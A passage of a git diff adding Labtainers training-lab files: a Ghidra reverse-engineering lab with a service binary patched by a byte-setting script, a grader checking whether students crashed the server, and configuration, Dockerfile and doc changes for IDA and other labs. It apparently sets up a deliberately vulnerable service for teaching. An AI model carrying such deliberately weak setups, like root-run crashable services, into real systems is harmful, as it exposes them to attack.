+fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/results.config new file mode 100644 index 000000000..e0b0543f5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +# DOC: Student provided input necessary to display easter egg +egg = ghidra:*.stdout : CONTAINS : EASTER EGG +# DOC: Student provided input necessary to crash the server +crash = ghidra:*.stdout : CONTAINS : Connection reset by peer diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_bin/fixlocal.sh new file mode 100755 index 000000000..3c016d7fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_bin/fixlocal.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +/usr/bin/setbyte /home/ubuntu/cadet01 0xa72 EGG_VALUE +/usr/bin/setbyte /home/ubuntu/cadet01 0x696 PORT_VALUE +sudo systemctl restart cadet diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/init.d/cadet.sh similarity index 80% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/init.d/cadet.sh index 2d056c942..e2a134b67 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/plc/_system/etc/init.d/plc.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/init.d/cadet.sh @@ -1,7 +1,7 @@ #!/bin/sh ### BEGIN INIT INFO -# Provides: proxy +# Provides: httpserver # Required-Start: $syslog # Required-Stop: $syslog # Default-Start: 2 3 4 5 @@ -11,18 +11,14 @@ ### END INIT INFO # Change the next 3 lines to suit where you install your script and what you want to call it -DIR=/sbin/OpenPLC_v2x -DAEMON=/usr/bin/nodejs -DAEMON_NAME=plc - -# Log for nodejs -NODEJS_LOG=/var/log/nodejs.log +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver # Add any command line options for your daemon here -DAEMON_OPTS="server.js" +DAEMON_OPTS="" # This next line determines what user the script runs as. -#DAEMON_USER=ubuntu DAEMON_USER=root # The process ID of the script when it runs is stored here: @@ -32,7 +28,7 @@ PIDFILE=/var/run/$DAEMON_NAME.pid do_start () { log_daemon_msg "Starting system $DAEMON_NAME daemon" - start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER --chuid $DAEMON_USER --chdir $DIR --startas $DAEMON --no-close -- $DAEMON_OPTS >> $NODEJS_LOG 2>&1 + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS log_end_msg $? } do_stop () { @@ -41,6 +37,7 @@ do_stop () { log_end_msg $? } + case "$1" in start|stop) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/lib/systemd/system/cadet.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/lib/systemd/system/cadet.service new file mode 100644 index 000000000..8d27fc0a0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/lib/systemd/system/cadet.service @@ -0,0 +1,13 @@ +[Unit] +Description=Cadet Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/cadet01 +StandardOutput=null +Restart=always + +[Install] +WantedBy=multi-user.target +Alias=cadet.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/usr/bin/setbyte b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/usr/bin/setbyte new file mode 100755 index 000000000..aa141ebf2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/_system/usr/bin/setbyte @@ -0,0 +1,12 @@ +#!/usr/bin/env python +import sys + +fileName = sys.argv[1] +offset = int(sys.argv[2], 16) +byte = int(sys.argv[3], 16) + +b = bytes([byte])[0] +with open(fileName, "r+b") as fh: + fh.seek(offset) + fh.write(b) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/cadet01 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/cadet01 new file mode 100755 index 000000000..9e3efeae1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/server/cadet01 differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/keywords.txt new file mode 100644 index 000000000..b467c587c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/config/keywords.txt @@ -0,0 +1,4 @@ +grassmarlin +network traffic +scada +ics diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi deleted file mode 100644 index 33430770a..000000000 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.dvi and /dev/null differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.pdf index 734e85b2f..4a6ab7f72 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex index 8a5df8289..dde2f1e18 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/docs/grassmarlin.tex @@ -17,7 +17,7 @@ And some experience with the Wireshark tool is expected (e.g., the wireshark-int \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi deleted file mode 100644 index 62b7f6b2a..000000000 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi and /dev/null differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.pdf index 0c2d93386..fe55d867b 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/keywords.txt new file mode 100644 index 000000000..4e76d0365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/keywords.txt @@ -0,0 +1 @@ +http diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config index 7f17b0c21..3f57b909a 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config @@ -26,6 +26,5 @@ CONTAINER server CONTAINER client USER ubuntu TERMINALS 1 - XTERM INSTRUCTIONS SOME_NETWORK 172.20.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/version b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/version new file mode 100644 index 000000000..d7b5bb250 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/version @@ -0,0 +1 @@ +ida 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.pdf index 0ce49426d..fe7a3a9ca 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/about.txt new file mode 100644 index 000000000..623d79cea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/about.txt @@ -0,0 +1 @@ +Illustrates the lossy nature of code compilation and underscores the challenges of reverse engineering a compiled binary. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/bigexternal.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/bigexternal.txt new file mode 100644 index 000000000..74a8c8d24 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/bigexternal.txt @@ -0,0 +1 @@ +https://nps.box.com/shared/static/hyqdyf7kup2hdmpp0ev8tn3qep19j9gj.run ida/idafree70_linux.run diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/keywords.txt new file mode 100644 index 000000000..e21935fb8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/keywords.txt @@ -0,0 +1,3 @@ +ida +disassembler +reverse engineering diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/start.config similarity index 67% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/start.config index d5df0563c..394a7df1f 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/shellbasics/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/start.config @@ -11,13 +11,19 @@ GLOBAL_SETTINGS # GRADE_CONTAINER - container where instructor will perform grading - GRADE_CONTAINER shellbasics + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER ida - # HOST_HOME_XFER - directory to transfer artifact to/from containers + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME HOST_HOME_XFER seed_dir/ # LAB_MASTER_SEED - this is the master seed string specific to this laboratory - LAB_MASTER_SEED shellbasics_ubuntu_master_seed + LAB_MASTER_SEED ida2_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES # SUBNETS. Here is where you define subnets that will be available to the containers. # Each subnet is assiged a name, a mask and gateway, as in the following example: @@ -27,20 +33,10 @@ GLOBAL_SETTINGS # GATEWAY 172.25.0.101 # # Container name and settings. Here is where you define each container in terms of its name, -# user, number of virtual terminals, and its network connections, as in the following example: +# user, number of virtual terminals, and its network connections. # -CONTAINER shellbasics - # user name of user who interacts with the container. +CONTAINER ida USER ubuntu - XTERM INSTRUCTIONS - # - # The number of terminals defaults to 2 - # - #TERMINALS 1 - # - # Here is where you would identify networks connected to the container, - # and assign addresses as in the following example: - # DMZ_LINK 172.25.0.2 - - - + SCRIPT NONE + X11 YES + MOUNT idafree-7.0:idafree-7.0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/version b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/version new file mode 100644 index 000000000..484fa1507 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/config/version @@ -0,0 +1 @@ +ida 2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/dockerfiles/Dockerfile.ida2.ida.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/dockerfiles/Dockerfile.ida2.ida.student new file mode 100644 index 000000000..3d873d7e9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/dockerfiles/Dockerfile.ida2.ida.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y xcb +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/Makefile new file mode 100644 index 000000000..f719b5196 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/Makefile @@ -0,0 +1,6 @@ +ida.pdf: ida.docx + soffice --convert-to pdf ida.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.docx new file mode 100644 index 000000000..66d6825d8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.pdf new file mode 100644 index 000000000..53e554678 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/ida.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/read_first.txt new file mode 100644 index 000000000..b4f3144c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ida.pdf + +You may open that file by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_bin/fixlocal.sh new file mode 100755 index 000000000..c76bca925 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_bin/fixlocal.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +cd $HOME +./mk.sh +if [[ -f $HOME/idafree-7.0/ida64 ]]; then + rm $HOME/idafree70_linux.run +else + chmod a+x $HOME/idafree70_linux.run +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida2/ida/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not 